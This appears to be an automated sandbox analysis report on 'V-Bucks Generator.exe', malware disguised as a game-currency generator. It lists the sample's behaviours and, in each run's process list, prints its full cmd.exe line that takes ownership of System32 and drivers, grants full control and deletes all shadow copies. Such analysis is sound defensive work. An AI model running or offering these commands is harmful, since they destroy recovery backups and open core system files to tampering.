Analysis Overview
SHA256
9bf2689546105532a778dc6a0a6e964ece8ff33c4fcea28e82c29940e06d2666
Threat Level: Likely malicious
The file V-Bucks Generator.exe was found to be: Likely malicious.
Malicious Activity Summary
Deletes shadow copies
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Unsigned PE
Interacts with shadow copies
Uses Volume Shadow Copy service COM API
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-14 12:09
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-14 12:09
Reported
2024-08-14 12:09
Platform
win7-20240704-en
Max time kernel
15s
Max time network
16s
Command Line
Signatures
Deletes shadow copies
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe
"C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c color 47 && title Critical process && takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && vssadmin delete shadows /all /quiet && Exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32 /grant Admin:F
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers /grant Admin:F
C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/2972-0-0x000007FEF62D3000-0x000007FEF62D4000-memory.dmp
memory/2972-1-0x0000000000A30000-0x0000000000AA8000-memory.dmp
memory/2972-2-0x0000000000990000-0x0000000000A0A000-memory.dmp
memory/2972-3-0x000007FEF62D0000-0x000007FEF6CBC000-memory.dmp
memory/2972-4-0x000007FEF62D0000-0x000007FEF6CBC000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-14 12:09
Reported
2024-08-14 12:09
Platform
win10v2004-20240802-en
Max time kernel
21s
Max time network
19s
Command Line
Signatures
Deletes shadow copies
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Enumerates physical storage devices
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe
"C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c color 47 && title Critical process && takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && vssadmin delete shadows /all /quiet && Exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32 /grant Admin:F
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers /grant Admin:F
C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
Files
memory/4536-0-0x0000026AE5680000-0x0000026AE56F8000-memory.dmp
memory/4536-1-0x00007FFD38023000-0x00007FFD38025000-memory.dmp
memory/4536-2-0x0000026AFFB80000-0x0000026AFFBFA000-memory.dmp
memory/4536-3-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp
memory/4536-5-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp